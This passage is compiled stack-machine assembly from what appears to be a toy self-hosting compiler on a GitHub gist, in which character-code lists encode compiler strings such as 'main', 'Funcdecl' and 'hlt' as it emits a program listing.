sub sp sp 0 | |
makelist bp[79] [109,97,105,110] | |
makelist bp[80] [99,97,108,108,32] | |
makelist bp[81] [bp[78],bp[79],bp[80]] | |
makelist bp[82] [bp[81]] | |
mov #5 bp[82] | |
makelist bp[84] [104,108,116] | |
push bp[84] | |
push 0 | |
call 1296 | |
pop bp[83] | |
sub sp sp 1 | |
push bp[3] | |
push 0 | |
len | |
pop bp[85] | |
sub sp sp 1 | |
lt bp[86] bp[4] bp[85] | |
jz bp[86] 2766 | |
get bp[87] bp[3] bp[4] | |
mov bp[6] bp[87] | |
get bp[88] bp[6] 0 | |
makelist bp[89] [70,117,110,99,100,101,99,108] | |
eq bp[90] bp[88] bp[89] | |
jz bp[90] 2745 | |
get bp[92] bp[6] 1 | |
push bp[92] | |
get bp[93] bp[6] 2 | |
push bp[93] | |
get bp[94] bp[6] 3 | |
push bp[94] | |
push 0 | |
call 2353 | |
pop bp[91] | |
sub sp sp 3 | |
jz 0 2763 | |
get bp[95] bp[6] 0 | |
makelist bp[96] [86,97,114,100,101,99,108] | |
eq bp[97] bp[95] bp[96] | |
jz bp[97] 2754 | |
get bp[98] bp[6] 1 | |
makelist bp[99] [bp[98]] | |
add bp[100] #10 bp[99] | |
mov #10 bp[100] | |
jz 0 2763 | |
makelist bp[102] [117,110,107,110,111,119,110,32,103,108,111,98,97,108,32,116,121,112,101] | |
get bp[103] bp[3] bp[4] | |
get bp[104] bp[103] 0 | |
add bp[105] bp[102] bp[104] | |
push bp[105] | |
push 0 | |
call 3 | |
pop bp[101] | |
sub sp sp 1 | |
add bp[106] bp[4] 1 | |
mov bp[4] bp[106] | |
jz 0 2721 | |
makelist bp[107] [97,100,100,32,115,112,32,115,112,32] | |
push #10 | |
push 0 | |
len | |
pop bp[109] | |
sub sp sp 1 | |
push bp[109] | |
push 0 | |
call 162 | |
pop bp[108] | |
sub sp sp 1 | |
add bp[110] bp[107] bp[108] | |
makelist bp[111] [bp[5],bp[110]] | |
makelist bp[112] [bp[111]] | |
add bp[113] #4 bp[112] | |
mov #4 bp[113] | |
mov bp[4] 0 | |
push #5 | |
push 0 | |
len | |
pop bp[114] | |
sub sp sp 1 | |
lt bp[115] bp[4] bp[114] | |
jz bp[115] 2814 | |
get bp[116] #5 bp[4] | |
mov bp[6] bp[116] | |
get bp[117] bp[6] 0 | |
get bp[118] bp[6] 2 | |
push #7 | |
get bp[121] bp[6] 1 | |
push bp[121] | |
push 0 | |
call 89 | |
pop bp[120] | |
sub sp sp 2 | |
push bp[120] | |
push 0 | |
call 162 | |
pop bp[119] | |
sub sp sp 1 | |
add bp[122] bp[118] bp[119] | |
makelist bp[123] [bp[117],bp[122]] | |
makelist bp[124] [bp[123]] | |
add bp[125] #4 bp[124] | |
mov #4 bp[125] | |
add bp[126] bp[4] 1 | |
mov bp[4] bp[126] | |
jz 0 2783 | |
makelist bp[127] [] | |
mov bp[7] bp[127] | |
mov bp[4] 0 | |
push #3 | |
push 0 | |
len | |
pop bp[128] | |
sub sp sp 1 | |
lt bp[129] bp[4] bp[128] | |
jz bp[129] 2844 | |
get bp[130] #3 bp[4] | |
mov #0 bp[130] | |
makelist bp[131] [100,117,109,109,121] | |
eq bp[132] #0 bp[131] | |
jz bp[132] 2837 | |
push #4 | |
push bp[4] | |
push 0 | |
call 89 | |
pop bp[133] | |
sub sp sp 2 | |
mov #0 bp[133] | |
jz 0 2837 | |
add bp[134] bp[7] #0 | |
makelist bp[135] [10] | |
add bp[136] bp[134] bp[135] | |
mov bp[7] bp[136] | |
add bp[137] bp[4] 1 | |
mov bp[4] bp[137] | |
jz 0 2817 | |
push bp[7] | |
push 0 | |
write | |
pop bp[138] | |
sub sp sp 1 | |
mov bp[-2] 0 | |
mov sp bp | |
pop bp | |
ret |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment